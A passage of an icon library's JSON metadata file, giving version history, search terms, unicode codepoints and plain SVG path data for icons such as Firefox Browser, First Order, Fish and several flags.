H255.14a234.62,234.62,0,0,0-45.48,5c-33.59,7.08-63.23,21.24-82.91,39-1.08,1-1.92,1.68-2.4,2.16l-.48.48H124l-.12.12.12-.12a.12.12,0,0,0,.12-.12l-.12.12a.42.42,0,0,1,.24-.12c14.64-8.76,34.92-16,49.44-19.56l5.88-1.44c.36-.12.84-.12,1.2-.24,1.68-.36,3.36-.72,5.16-1.08.24,0,.6-.12.84-.12C250.94,20.94,319.34,40.14,367,85.61a171.49,171.49,0,0,1,26.88,32.76c30.36,49.2,27.48,111.11,3.84,147.59-34.44,53-111.35,71.27-159,24.84a84.19,84.19,0,0,1-25.56-59,74.05,74.05,0,0,1,6.24-31c1.68-3.84,13.08-25.67,18.24-24.59-13.08-2.76-37.55,2.64-54.71,28.19-15.36,22.92-14.52,58.2-5,83.28a132.85,132.85,0,0,1-12.12-39.24c-12.24-82.55,43.31-153,94.31-170.51-27.48-24-96.47-22.31-147.71,15.36-29.88,22-51.23,53.16-62.51,90.36,1.68-20.88,9.6-52.08,25.8-83.88-17.16,8.88-39,37-49.8,62.88-15.6,37.43-21,82.19-16.08,124.79.36,3.24.72,6.36,1.08,9.6,19.92,117.11,122,206.38,244.78,206.38C392.77,503.42,504,392.19,504,255,503.88,250.48,503.76,245.92,503.52,241.48Z"
      }
    },
    "free": ["brands"]
  },
  "firefox-browser": {
    "changes": ["5.12.0", "5.14.0"],
    "ligatures": [],
    "search": {
      "terms": ["browser"]
    },
    "styles": ["brands"],
    "unicode": "e007",
    "label": "Firefox Browser",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014461,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M130.22 127.548C130.38 127.558 130.3 127.558 130.22 127.548V127.548ZM481.64 172.898C471.03 147.398 449.56 119.898 432.7 111.168C446.42 138.058 454.37 165.048 457.4 185.168C457.405 185.306 457.422 185.443 457.45 185.578C429.87 116.828 383.098 89.1089 344.9 28.7479C329.908 5.05792 333.976 3.51792 331.82 4.08792L331.7 4.15792C284.99 30.1109 256.365 82.5289 249.12 126.898C232.503 127.771 216.219 131.895 201.19 139.035C199.838 139.649 198.736 140.706 198.066 142.031C197.396 143.356 197.199 144.87 197.506 146.323C197.7 147.162 198.068 147.951 198.586 148.639C199.103 149.327 199.76 149.899 200.512 150.318C201.264 150.737 202.096 150.993 202.954 151.071C203.811 151.148 204.676 151.045 205.491 150.768L206.011 150.558C221.511 143.255 238.408 139.393 255.541 139.238C318.369 138.669 352.698 183.262 363.161 201.528C350.161 192.378 326.811 183.338 304.341 187.248C392.081 231.108 368.541 381.784 246.951 376.448C187.487 373.838 149.881 325.467 146.421 285.648C146.421 285.648 157.671 243.698 227.041 243.698C234.541 243.698 255.971 222.778 256.371 216.698C256.281 214.698 213.836 197.822 197.281 181.518C188.434 172.805 184.229 168.611 180.511 165.458C178.499 163.75 176.392 162.158 174.201 160.688C168.638 141.231 168.399 120.638 173.51 101.058C148.45 112.468 128.96 130.508 114.8 146.428H114.68C105.01 134.178 105.68 93.7779 106.25 85.3479C106.13 84.8179 99.022 89.0159 98.1 89.6579C89.5342 95.7103 81.5528 102.55 74.26 110.088C57.969 126.688 30.128 160.242 18.76 211.318C14.224 231.701 12 255.739 12 263.618C12 398.318 121.21 507.508 255.92 507.508C376.56 507.508 478.939 420.281 496.35 304.888C507.922 228.192 481.64 173.82 481.64 172.898Z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M130.22 127.548C130.38 127.558 130.3 127.558 130.22 127.548V127.548ZM481.64 172.898C471.03 147.398 449.56 119.898 432.7 111.168C446.42 138.058 454.37 165.048 457.4 185.168C457.405 185.306 457.422 185.443 457.45 185.578C429.87 116.828 383.098 89.1089 344.9 28.7479C329.908 5.05792 333.976 3.51792 331.82 4.08792L331.7 4.15792C284.99 30.1109 256.365 82.5289 249.12 126.898C232.503 127.771 216.219 131.895 201.19 139.035C199.838 139.649 198.736 140.706 198.066 142.031C197.396 143.356 197.199 144.87 197.506 146.323C197.7 147.162 198.068 147.951 198.586 148.639C199.103 149.327 199.76 149.899 200.512 150.318C201.264 150.737 202.096 150.993 202.954 151.071C203.811 151.148 204.676 151.045 205.491 150.768L206.011 150.558C221.511 143.255 238.408 139.393 255.541 139.238C318.369 138.669 352.698 183.262 363.161 201.528C350.161 192.378 326.811 183.338 304.341 187.248C392.081 231.108 368.541 381.784 246.951 376.448C187.487 373.838 149.881 325.467 146.421 285.648C146.421 285.648 157.671 243.698 227.041 243.698C234.541 243.698 255.971 222.778 256.371 216.698C256.281 214.698 213.836 197.822 197.281 181.518C188.434 172.805 184.229 168.611 180.511 165.458C178.499 163.75 176.392 162.158 174.201 160.688C168.638 141.231 168.399 120.638 173.51 101.058C148.45 112.468 128.96 130.508 114.8 146.428H114.68C105.01 134.178 105.68 93.7779 106.25 85.3479C106.13 84.8179 99.022 89.0159 98.1 89.6579C89.5342 95.7103 81.5528 102.55 74.26 110.088C57.969 126.688 30.128 160.242 18.76 211.318C14.224 231.701 12 255.739 12 263.618C12 398.318 121.21 507.508 255.92 507.508C376.56 507.508 478.939 420.281 496.35 304.888C507.922 228.192 481.64 173.82 481.64 172.898Z"
      }
    },
    "free": ["brands"]
  },
  "first-order": {
    "changes": ["4.6.0", "5.0.0"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "f2b0",
    "label": "First Order",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014482,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M12.9 229.2c.1-.1.2-.3.3-.4 0 .1 0 .3-.1.4h-.2zM224 96.6c-7.1 0-14.6.6-21.4 1.7l3.7 67.4-22-64c-14.3 3.7-27.7 9.4-40 16.6l29.4 61.4-45.1-50.9c-11.4 8.9-21.7 19.1-30.6 30.9l50.6 45.4-61.1-29.7c-7.1 12.3-12.9 25.7-16.6 40l64.3 22.6-68-4c-.9 7.1-1.4 14.6-1.4 22s.6 14.6 1.4 21.7l67.7-4-64 22.6c3.7 14.3 9.4 27.7 16.6 40.3l61.1-29.7L97.7 352c8.9 11.7 19.1 22.3 30.9 30.9l44.9-50.9-29.5 61.4c12.3 7.4 25.7 13.1 40 16.9l22.3-64.6-4 68c7.1 1.1 14.6 1.7 21.7 1.7 7.4 0 14.6-.6 21.7-1.7l-4-68.6 22.6 65.1c14.3-4 27.7-9.4 40-16.9L274.9 332l44.9 50.9c11.7-8.9 22-19.1 30.6-30.9l-50.6-45.1 61.1 29.4c7.1-12.3 12.9-25.7 16.6-40.3l-64-22.3 67.4 4c1.1-7.1 1.4-14.3 1.4-21.7s-.3-14.9-1.4-22l-67.7 4 64-22.3c-3.7-14.3-9.1-28-16.6-40.3l-60.9 29.7 50.6-45.4c-8.9-11.7-19.1-22-30.6-30.9l-45.1 50.9 29.4-61.1c-12.3-7.4-25.7-13.1-40-16.9L241.7 166l4-67.7c-7.1-1.2-14.3-1.7-21.7-1.7zM443.4 128v256L224 512 4.6 384V128L224 0l219.4 128zm-17.1 10.3L224 20.9 21.7 138.3v235.1L224 491.1l202.3-117.7V138.3zM224 37.1l187.7 109.4v218.9L224 474.9 36.3 365.4V146.6L224 37.1zm0 50.9c-92.3 0-166.9 75.1-166.9 168 0 92.6 74.6 167.7 166.9 167.7 92 0 166.9-75.1 166.9-167.7 0-92.9-74.9-168-166.9-168z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
        "path": "M12.9 229.2c.1-.1.2-.3.3-.4 0 .1 0 .3-.1.4h-.2zM224 96.6c-7.1 0-14.6.6-21.4 1.7l3.7 67.4-22-64c-14.3 3.7-27.7 9.4-40 16.6l29.4 61.4-45.1-50.9c-11.4 8.9-21.7 19.1-30.6 30.9l50.6 45.4-61.1-29.7c-7.1 12.3-12.9 25.7-16.6 40l64.3 22.6-68-4c-.9 7.1-1.4 14.6-1.4 22s.6 14.6 1.4 21.7l67.7-4-64 22.6c3.7 14.3 9.4 27.7 16.6 40.3l61.1-29.7L97.7 352c8.9 11.7 19.1 22.3 30.9 30.9l44.9-50.9-29.5 61.4c12.3 7.4 25.7 13.1 40 16.9l22.3-64.6-4 68c7.1 1.1 14.6 1.7 21.7 1.7 7.4 0 14.6-.6 21.7-1.7l-4-68.6 22.6 65.1c14.3-4 27.7-9.4 40-16.9L274.9 332l44.9 50.9c11.7-8.9 22-19.1 30.6-30.9l-50.6-45.1 61.1 29.4c7.1-12.3 12.9-25.7 16.6-40.3l-64-22.3 67.4 4c1.1-7.1 1.4-14.3 1.4-21.7s-.3-14.9-1.4-22l-67.7 4 64-22.3c-3.7-14.3-9.1-28-16.6-40.3l-60.9 29.7 50.6-45.4c-8.9-11.7-19.1-22-30.6-30.9l-45.1 50.9 29.4-61.1c-12.3-7.4-25.7-13.1-40-16.9L241.7 166l4-67.7c-7.1-1.2-14.3-1.7-21.7-1.7zM443.4 128v256L224 512 4.6 384V128L224 0l219.4 128zm-17.1 10.3L224 20.9 21.7 138.3v235.1L224 491.1l202.3-117.7V138.3zM224 37.1l187.7 109.4v218.9L224 474.9 36.3 365.4V146.6L224 37.1zm0 50.9c-92.3 0-166.9 75.1-166.9 168 0 92.6 74.6 167.7 166.9 167.7 92 0 166.9-75.1 166.9-167.7 0-92.9-74.9-168-166.9-168z"
      }
    },
    "free": ["brands"]
  },
  "first-order-alt": {
    "changes": ["5.0.12"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "f50a",
    "label": "Alternate First Order",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014470,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 496 512\"><path d=\"M248 8C111.03 8 0 119.03 0 256s111.03 248 248 248 248-111.03 248-248S384.97 8 248 8zm0 488.21C115.34 496.21 7.79 388.66 7.79 256S115.34 15.79 248 15.79 488.21 123.34 488.21 256 380.66 496.21 248 496.21zm0-459.92C126.66 36.29 28.29 134.66 28.29 256S126.66 475.71 248 475.71 467.71 377.34 467.71 256 369.34 36.29 248 36.29zm0 431.22c-116.81 0-211.51-94.69-211.51-211.51S131.19 44.49 248 44.49 459.51 139.19 459.51 256 364.81 467.51 248 467.51zm186.23-162.98a191.613 191.613 0 0 1-20.13 48.69l-74.13-35.88 61.48 54.82a193.515 193.515 0 0 1-37.2 37.29l-54.8-61.57 35.88 74.27a190.944 190.944 0 0 1-48.63 20.23l-27.29-78.47 4.79 82.93c-8.61 1.18-17.4 1.8-26.33 1.8s-17.72-.62-26.33-1.8l4.76-82.46-27.15 78.03a191.365 191.365 0 0 1-48.65-20.2l35.93-74.34-54.87 61.64a193.85 193.85 0 0 1-37.22-37.28l61.59-54.9-74.26 35.93a191.638 191.638 0 0 1-20.14-48.69l77.84-27.11-82.23 4.76c-1.16-8.57-1.78-17.32-1.78-26.21 0-9 .63-17.84 1.82-26.51l82.38 4.77-77.94-27.16a191.726 191.726 0 0 1 20.23-48.67l74.22 35.92-61.52-54.86a193.85 193.85 0 0 1 37.28-37.22l54.76 61.53-35.83-74.17a191.49 191.49 0 0 1 48.65-20.13l26.87 77.25-4.71-81.61c8.61-1.18 17.39-1.8 26.32-1.8s17.71.62 26.32 1.8l-4.74 82.16 27.05-77.76c17.27 4.5 33.6 11.35 48.63 20.17l-35.82 74.12 54.72-61.47a193.13 193.13 0 0 1 37.24 37.23l-61.45 54.77 74.12-35.86a191.515 191.515 0 0 1 20.2 48.65l-77.81 27.1 82.24-4.75c1.19 8.66 1.82 17.5 1.82 26.49 0 8.88-.61 17.63-1.78 26.19l-82.12-4.75 77.72 27.09z\"/></svg>",
        "viewBox": [0, 0, 496, 512],
        "width": 496,
        "height": 512,
        "path": "M248 8C111.03 8 0 119.03 0 256s111.03 248 248 248 248-111.03 248-248S384.97 8 248 8zm0 488.21C115.34 496.21 7.79 388.66 7.79 256S115.34 15.79 248 15.79 488.21 123.34 488.21 256 380.66 496.21 248 496.21zm0-459.92C126.66 36.29 28.29 134.66 28.29 256S126.66 475.71 248 475.71 467.71 377.34 467.71 256 369.34 36.29 248 36.29zm0 431.22c-116.81 0-211.51-94.69-211.51-211.51S131.19 44.49 248 44.49 459.51 139.19 459.51 256 364.81 467.51 248 467.51zm186.23-162.98a191.613 191.613 0 0 1-20.13 48.69l-74.13-35.88 61.48 54.82a193.515 193.515 0 0 1-37.2 37.29l-54.8-61.57 35.88 74.27a190.944 190.944 0 0 1-48.63 20.23l-27.29-78.47 4.79 82.93c-8.61 1.18-17.4 1.8-26.33 1.8s-17.72-.62-26.33-1.8l4.76-82.46-27.15 78.03a191.365 191.365 0 0 1-48.65-20.2l35.93-74.34-54.87 61.64a193.85 193.85 0 0 1-37.22-37.28l61.59-54.9-74.26 35.93a191.638 191.638 0 0 1-20.14-48.69l77.84-27.11-82.23 4.76c-1.16-8.57-1.78-17.32-1.78-26.21 0-9 .63-17.84 1.82-26.51l82.38 4.77-77.94-27.16a191.726 191.726 0 0 1 20.23-48.67l74.22 35.92-61.52-54.86a193.85 193.85 0 0 1 37.28-37.22l54.76 61.53-35.83-74.17a191.49 191.49 0 0 1 48.65-20.13l26.87 77.25-4.71-81.61c8.61-1.18 17.39-1.8 26.32-1.8s17.71.62 26.32 1.8l-4.74 82.16 27.05-77.76c17.27 4.5 33.6 11.35 48.63 20.17l-35.82 74.12 54.72-61.47a193.13 193.13 0 0 1 37.24 37.23l-61.45 54.77 74.12-35.86a191.515 191.515 0 0 1 20.2 48.65l-77.81 27.1 82.24-4.75c1.19 8.66 1.82 17.5 1.82 26.49 0 8.88-.61 17.63-1.78 26.19l-82.12-4.75 77.72 27.09z"
      }
    },
    "free": ["brands"]
  },
  "firstdraft": {
    "changes": ["5.0.0"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "f3a1",
    "label": "firstdraft",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014476,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 384 512\"><path d=\"M384 192h-64v128H192v128H0v-25.6h166.4v-128h128v-128H384V192zm-25.6 38.4v128h-128v128H64V512h192V384h128V230.4h-25.6zm25.6 192h-89.6V512H320v-64h64v-25.6zM0 0v384h128V256h128V128h128V0H0z\"/></svg>",
        "viewBox": [0, 0, 384, 512],
        "width": 384,
        "height": 512,
        "path": "M384 192h-64v128H192v128H0v-25.6h166.4v-128h128v-128H384V192zm-25.6 38.4v128h-128v128H64V512h192V384h128V230.4h-25.6zm25.6 192h-89.6V512H320v-64h64v-25.6zM0 0v384h128V256h128V128h128V0H0z"
      }
    },
    "free": ["brands"]
  },
  "fish": {
    "aliases": {
      "unicodes": {
        "composite": ["1f41f"],
        "secondary": ["10f578"]
      }
    },
    "changes": [
      "5.1.0",
      "5.10.1",
      "6.0.0-beta1",
      "6.0.0-beta3",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": [
        "Pisces",
        "fauna",
        "fish",
        "gold",
        "seafood",
        "swimming",
        "zodiac"
      ]
    },
    "styles": ["solid"],
    "unicode": "f578",
    "label": "Fish",
    "voted": true,
    "svg": {
      "solid": {
        "last_modified": 1684768130,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M180.5 141.5C219.7 108.5 272.6 80 336 80s116.3 28.5 155.5 61.5c39.1 33 66.9 72.4 81 99.8c4.7 9.2 4.7 20.1 0 29.3c-14.1 27.4-41.9 66.8-81 99.8C452.3 403.5 399.4 432 336 432s-116.3-28.5-155.5-61.5c-16.2-13.7-30.5-28.5-42.7-43.1L48.1 379.6c-12.5 7.3-28.4 5.3-38.7-4.9S-3 348.7 4.2 336.1L50 256 4.2 175.9c-7.2-12.6-5-28.4 5.3-38.6s26.1-12.2 38.7-4.9l89.7 52.3c12.2-14.6 26.5-29.4 42.7-43.1zM448 256a32 32 0 1 0 -64 0 32 32 0 1 0 64 0z\"/></svg>",
        "viewBox": [0, 0, 576, 512],
        "width": 576,
        "height": 512,
        "path": "M180.5 141.5C219.7 108.5 272.6 80 336 80s116.3 28.5 155.5 61.5c39.1 33 66.9 72.4 81 99.8c4.7 9.2 4.7 20.1 0 29.3c-14.1 27.4-41.9 66.8-81 99.8C452.3 403.5 399.4 432 336 432s-116.3-28.5-155.5-61.5c-16.2-13.7-30.5-28.5-42.7-43.1L48.1 379.6c-12.5 7.3-28.4 5.3-38.7-4.9S-3 348.7 4.2 336.1L50 256 4.2 175.9c-7.2-12.6-5-28.4 5.3-38.6s26.1-12.2 38.7-4.9l89.7 52.3c12.2-14.6 26.5-29.4 42.7-43.1zM448 256a32 32 0 1 0 -64 0 32 32 0 1 0 64 0z"
      }
    },
    "free": ["solid"]
  },
  "fish-fins": {
    "changes": ["6.1.0", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["fish", "fishery", "pisces", "seafood"]
    },
    "styles": ["solid"],
    "unicode": "e4f2",
    "label": "Fish Fins",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684768130,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M275.2 38.4c-10.6-8-25-8.5-36.3-1.5S222 57.3 224.6 70.3l9.7 48.6c-19.4 9-36.9 19.9-52.4 31.5c-15.3 11.5-29 23.9-40.7 36.3L48.1 132.4c-12.5-7.3-28.4-5.3-38.7 4.9S-3 163.3 4.2 175.9L50 256 4.2 336.1c-7.2 12.6-5 28.4 5.3 38.6s26.1 12.2 38.7 4.9l93.1-54.3c11.8 12.3 25.4 24.8 40.7 36.3c15.5 11.6 33 22.5 52.4 31.5l-9.7 48.6c-2.6 13 3.1 26.3 14.3 33.3s25.6 6.5 36.3-1.5l77.6-58.2c54.9-4 101.5-27 137.2-53.8c39.2-29.4 67.2-64.7 81.6-89.5c5.8-9.9 5.8-22.2 0-32.1c-14.4-24.8-42.5-60.1-81.6-89.5c-35.8-26.8-82.3-49.8-137.2-53.8L275.2 38.4zM384 256a32 32 0 1 1 64 0 32 32 0 1 1 -64 0z\"/></svg>",
        "viewBox": [0, 0, 576, 512],
        "width": 576,
        "height": 512,
        "path": "M275.2 38.4c-10.6-8-25-8.5-36.3-1.5S222 57.3 224.6 70.3l9.7 48.6c-19.4 9-36.9 19.9-52.4 31.5c-15.3 11.5-29 23.9-40.7 36.3L48.1 132.4c-12.5-7.3-28.4-5.3-38.7 4.9S-3 163.3 4.2 175.9L50 256 4.2 336.1c-7.2 12.6-5 28.4 5.3 38.6s26.1 12.2 38.7 4.9l93.1-54.3c11.8 12.3 25.4 24.8 40.7 36.3c15.5 11.6 33 22.5 52.4 31.5l-9.7 48.6c-2.6 13 3.1 26.3 14.3 33.3s25.6 6.5 36.3-1.5l77.6-58.2c54.9-4 101.5-27 137.2-53.8c39.2-29.4 67.2-64.7 81.6-89.5c5.8-9.9 5.8-22.2 0-32.1c-14.4-24.8-42.5-60.1-81.6-89.5c-35.8-26.8-82.3-49.8-137.2-53.8L275.2 38.4zM384 256a32 32 0 1 1 64 0 32 32 0 1 1 -64 0z"
      }
    },
    "free": ["solid"]
  },
  "flag": {
    "aliases": {
      "unicodes": {
        "composite": ["1f3f4", "f11d"],
        "secondary": ["10f024"]
      }
    },
    "changes": [
      "1.0.0",
      "5.0.0",
      "6.0.0-beta1",
      "6.2.0",
      "6.2.1",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": [
        "black flag",
        "country",
        "notice",
        "notification",
        "notify",
        "pole",
        "report",
        "symbol",
        "waving"
      ]
    },
    "styles": ["solid", "regular"],
    "unicode": "f024",
    "label": "Flag",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767603,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M64 32C64 14.3 49.7 0 32 0S0 14.3 0 32V64 368 480c0 17.7 14.3 32 32 32s32-14.3 32-32V352l64.3-16.1c41.1-10.3 84.6-5.5 122.5 13.4c44.2 22.1 95.5 24.8 141.7 7.4l34.7-13c12.5-4.7 20.8-16.6 20.8-30V66.1c0-23-24.2-38-44.8-27.7l-9.6 4.8c-46.3 23.2-100.8 23.2-147.1 0c-35.1-17.6-75.4-22-113.5-12.5L64 48V32z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
        "path": "M64 32C64 14.3 49.7 0 32 0S0 14.3 0 32V64 368 480c0 17.7 14.3 32 32 32s32-14.3 32-32V352l64.3-16.1c41.1-10.3 84.6-5.5 122.5 13.4c44.2 22.1 95.5 24.8 141.7 7.4l34.7-13c12.5-4.7 20.8-16.6 20.8-30V66.1c0-23-24.2-38-44.8-27.7l-9.6 4.8c-46.3 23.2-100.8 23.2-147.1 0c-35.1-17.6-75.4-22-113.5-12.5L64 48V32z"
      },
      "regular": {
        "last_modified": 1684767603,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M48 24C48 10.7 37.3 0 24 0S0 10.7 0 24V64 350.5 400v88c0 13.3 10.7 24 24 24s24-10.7 24-24V388l80.3-20.1c41.1-10.3 84.6-5.5 122.5 13.4c44.2 22.1 95.5 24.8 141.7 7.4l34.7-13c12.5-4.7 20.8-16.6 20.8-30V66.1c0-23-24.2-38-44.8-27.7l-9.6 4.8c-46.3 23.2-100.8 23.2-147.1 0c-35.1-17.6-75.4-22-113.5-12.5L48 52V24zm0 77.5l96.6-24.2c27-6.7 55.5-3.6 80.4 8.8c54.9 27.4 118.7 29.7 175 6.8V334.7l-24.4 9.1c-33.7 12.6-71.2 10.7-103.4-5.4c-48.2-24.1-103.3-30.1-155.6-17.1L48 338.5v-237z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
        "path": "M48 24C48 10.7 37.3 0 24 0S0 10.7 0 24V64 350.5 400v88c0 13.3 10.7 24 24 24s24-10.7 24-24V388l80.3-20.1c41.1-10.3 84.6-5.5 122.5 13.4c44.2 22.1 95.5 24.8 141.7 7.4l34.7-13c12.5-4.7 20.8-16.6 20.8-30V66.1c0-23-24.2-38-44.8-27.7l-9.6 4.8c-46.3 23.2-100.8 23.2-147.1 0c-35.1-17.6-75.4-22-113.5-12.5L48 52V24zm0 77.5l96.6-24.2c27-6.7 55.5-3.6 80.4 8.8c54.9 27.4 118.7 29.7 175 6.8V334.7l-24.4 9.1c-33.7 12.6-71.2 10.7-103.4-5.4c-48.2-24.1-103.3-30.1-155.6-17.1L48 338.5v-237z"
      }
    },
    "free": ["regular", "solid"]
  },
  "flag-checkered": {
    "aliases": {
      "unicodes": {
        "composite": ["1f3c1"],
        "secondary": ["10f11e"]
      }
    },
    "changes": [
      "3.1.0",
      "5.0.0",
      "5.7.0",
      "5.10.1",
      "6.0.0-beta1",
      "6.2.0",
      "6.2.1",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": [
        "checkered",
        "chequered",
        "chequered flag",
        "finish",
        "notice",
        "notification",
        "notify",
        "pole",
        "racing",
        "report",
        "start",
        "symbol",
        "win"
      ]
    },
    "styles": ["solid"],
    "unicode": "f11e",
    "label": "Flag Checkered",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767603,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M32 0C49.7 0 64 14.3 64 32V48l69-17.2c38.1-9.5 78.3-5.1 113.5 12.5c46.3 23.2 100.8 23.2 147.1 0l9.6-4.8C423.8 28.1 448 43.1 448 66.1V345.8c0 13.3-8.3 25.3-20.8 30l-34.7 13c-46.2 17.3-97.6 14.6-141.7-7.4c-37.9-19-81.3-23.7-122.5-13.4L64 384v96c0 17.7-14.3 32-32 32s-32-14.3-32-32V400 334 64 32C0 14.3 14.3 0 32 0zM64 187.1l64-13.9v65.5L64 252.6V318l48.8-12.2c5.1-1.3 10.1-2.4 15.2-3.3V238.7l38.9-8.4c8.3-1.8 16.7-2.5 25.1-2.1l0-64c13.6 .4 27.2 2.6 40.4 6.4l23.6 6.9v66.7l-41.7-12.3c-7.3-2.1-14.8-3.4-22.3-3.8v71.4c21.8 1.9 43.3 6.7 64 14.4V244.2l22.7 6.7c13.5 4 27.3 6.4 41.3 7.4V194c-7.8-.8-15.6-2.3-23.2-4.5l-40.8-12v-62c-13-3.8-25.8-8.8-38.2-15c-8.2-4.1-16.9-7-25.8-8.8v72.4c-13-.4-26 .8-38.7 3.6L128 173.2V98L64 114v73.1zM320 335.7c16.8 1.5 33.9-.7 50-6.8l14-5.2V251.9l-7.9 1.8c-18.4 4.3-37.3 5.7-56.1 4.5v77.4zm64-149.4V115.4c-20.9 6.1-42.4 9.1-64 9.1V194c13.9 1.4 28 .5 41.7-2.6l22.3-5.2z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
        "path": "M32 0C49.7 0 64 14.3 64 32V48l69-17.2c38.1-9.5 78.3-5.1 113.5 12.5c46.3 23.2 100.8 23.2 147.1 0l9.6-4.8C423.8 28.1 448 43.1 448 66.1V345.8c0 13.3-8.3 25.3-20.8 30l-34.7 13c-46.2 17.3-97.6 14.6-141.7-7.4c-37.9-19-81.3-23.7-122.5-13.4L64 384v96c0 17.7-14.3 32-32 32s-32-14.3-32-32V400 334 64 32C0 14.3 14.3 0 32 0zM64 187.1l64-13.9v65.5L64 252.6V318l48.8-12.2c5.1-1.3 10.1-2.4 15.2-3.3V238.7l38.9-8.4c8.3-1.8 16.7-2.5 25.1-2.1l0-64c13.6 .4 27.2 2.6 40.4 6.4l23.6 6.9v66.7l-41.7-12.3c-7.3-2.1-14.8-3.4-22.3-3.8v71.4c21.8 1.9 43.3 6.7 64 14.4V244.2l22.7 6.7c13.5 4 27.3 6.4 41.3 7.4V194c-7.8-.8-15.6-2.3-23.2-4.5l-40.8-12v-62c-13-3.8-25.8-8.8-38.2-15c-8.2-4.1-16.9-7-25.8-8.8v72.4c-13-.4-26 .8-38.7 3.6L128 173.2V98L64 114v73.1zM320 335.7c16.8 1.5 33.9-.7 50-6.8l14-5.2V251.9l-7.9 1.8c-18.4 4.3-37.3 5.7-56.1 4.5v77.4zm64-149.4V115.4c-20.9 6.1-42.4 9.1-64 9.1V194c13.9 1.4 28 .5 41.7-2.6l22.3-5.2z"
      }
    },
    "free": ["solid"]
  },
  "flag-usa": {
    "aliases": {
      "unicodes": {
        "secondary": ["10f74d"]
      }
    },
    "changes": ["5.5.0", "6.0.0-beta1", "6.2.0", "6.2.1", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": [
        "betsy ross",
        "country",
        "fla",
        "flag: United States",
        "old glory",
        "stars",
        "stripes",
        "symbol"
      ]
    },
    "styles": ["solid"],
    "unicode": "f74d",
    "label": "Flag Usa",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767602,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M32 0C49.7 0 64 14.3 64 32V48l69-17.2c38.1-9.5 78.3-5.1 113.5 12.5c46.3 23.2 100.8 23.2 147.1 0l9.6-4.8C423.8 28.1 448 43.1 448 66.1v36.1l-44.7 16.2c-42.8 15.6-90 13.9-131.6-4.6l-16.1-7.2c-20.3-9-41.8-14.7-63.6-16.9v32.2c17.4 2.1 34.4 6.7 50.6 13.9l16.1 7.2c49.2 21.9 105 23.8 155.6 5.4L448 136.3v62l-44.7 16.2c-42.8 15.6-90 13.9-131.6-4.6l-16.1-7.2c-40.2-17.9-85-22.5-128.1-13.3L64 203.1v32.7l70.2-15.1c36.4-7.8 74.3-3.9 108.4 11.3l16.1 7.2c49.2 21.9 105 23.8 155.6 5.4L448 232.3v62l-44.7 16.2c-42.8 15.6-90 13.9-131.6-4.6l-16.1-7.2c-40.2-17.9-85-22.5-128.1-13.3L64 299.1v32.7l70.2-15.1c36.4-7.8 74.3-3.9 108.4 11.3l16.1 7.2c49.2 21.9 105 23.8 155.6 5.4L448 328.3v33.5c0 13.3-8.3 25.3-20.8 30l-34.7 13c-46.2 17.3-97.6 14.6-141.7-7.4c-37.9-19-81.3-23.7-122.5-13.4L64 400v80c0 17.7-14.3 32-32 32s-32-14.3-32-32V416 345.5 312.8 249.5 216.8 153.5 120.8 64 32C0 14.3 14.3 0 32 0zm80 96A16 16 0 1 0 80 96a16 16 0 1 0 32 0zm32 0a16 16 0 1 0 0-32 16 16 0 1 0 0 32zm-32 48a16 16 0 1 0 -32 0 16 16 0 1 0 32 0zm32 0a16 16 0 1 0 0-32 16 16 0 1 0 0 32z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
